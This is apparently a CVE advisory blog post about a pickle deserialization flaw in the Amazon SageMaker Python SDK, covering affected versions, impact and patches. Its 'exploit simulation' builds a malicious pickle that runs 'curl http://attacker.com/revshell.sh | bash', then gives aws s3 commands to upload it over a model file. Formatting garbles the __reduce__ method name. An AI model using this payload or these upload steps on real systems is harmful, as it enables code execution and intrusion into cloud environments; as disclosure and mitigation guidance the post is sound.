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The CVE-2026-8597 vulnerability affects the Amazon SageMaker Python SDK, specifically when deploying machine learning models with the Triton inference server via the ModelBuilder module. The issue arises because the SDK loads model artifacts from S3 and deserializes them without any integrity verification. For model deployment, these artifacts are often serialized Python objects (pickle files). An authenticated attacker who has write access to the S3 bucket path where the model artifacts are stored can replace a legitimate model file with a maliciously crafted pickle payload. When the container hosting the Triton inference server starts up, the SDK automatically loads this tampered artifact during model initialization. Since there is no check on the integrity of the file, the loading process triggers the deserialization of the malicious pickle. This results in the attacker’s payload being executed directly inside the inference container, with the full permissions of the AWS IAM role assigned to the SageMaker execution environment. This chain of events effectively bypasses all high-level security controls, as the process does not require any further user interaction or escalation of privileges beyond the initial S3 write access. The vulnerability is rooted in a missing model integrity check (CWE-354). The exploitation is highly dependent on the attacker having prior compromised credentials or permissions that grant them write access to the specific S3 model artifact path. Once the malicious file is placed, the code execution is triggered automatically on the next container lifecycle event, such as a pod restart or scaling event, making it a significant supply chain risk for AI/ML pipelines.
dailycve form:
Platform: Amazon SageMaker SDK
Version: 2.199.0-2.257.1,3.0.0-3.7.1
Vulnerability : Pickle code execution
Severity: Medium (CVSS6.4)
date: 2026-05-21
Prediction: Already patched (5/14/26)
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bash commands and codes related to the blog
Exploit Simulation: Malicious Pickle Payload
import pickle
import os
class Exploit(object):
def <strong>reduce</strong>(self):
return (os.system, ('curl http://attacker.com/revshell.sh | bash',))
payload = pickle.dumps(Exploit())
with open('malicious_model.pkl', 'wb') as f:
f.write(payload)
Check S3 permissions (vulnerable prerequisite)
aws s3 ls s3://vulnerable-bucket/models/
aws s3 cp malicious_model.pkl s3://vulnerable-bucket/models/model.pkl
Verification of SDK Version
pip show sagemaker | grep Version
Exploit:
A remote authenticated actor with write access to the S3 model artifact path replaces the legitimate model file with a specially crafted pickle payload. When the SageMaker Triton inference handler loads the model without integrity checks, the payload executes arbitrary code inside the inference container with the attached IAM role.
Protection from this CVE:
Upgrade to Amazon SageMaker Python SDK v2.257.2 or v3.8.0 which implements integrity verification. If upgrade is impossible, restrict S3 write access to trusted principals and enable S3 Object Lock or versioning to detect tampering.
Impact:
Complete compromise of the inference container, allowing the attacker to pivot within the AWS environment, exfiltrate sensitive data, manipulate model outputs, or disrupt ML services. The vulnerability is scored as 6.4 (Medium) on the CVSS scale, with potential for high confidentiality and integrity impact.
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Sources:
Reported By: github.com
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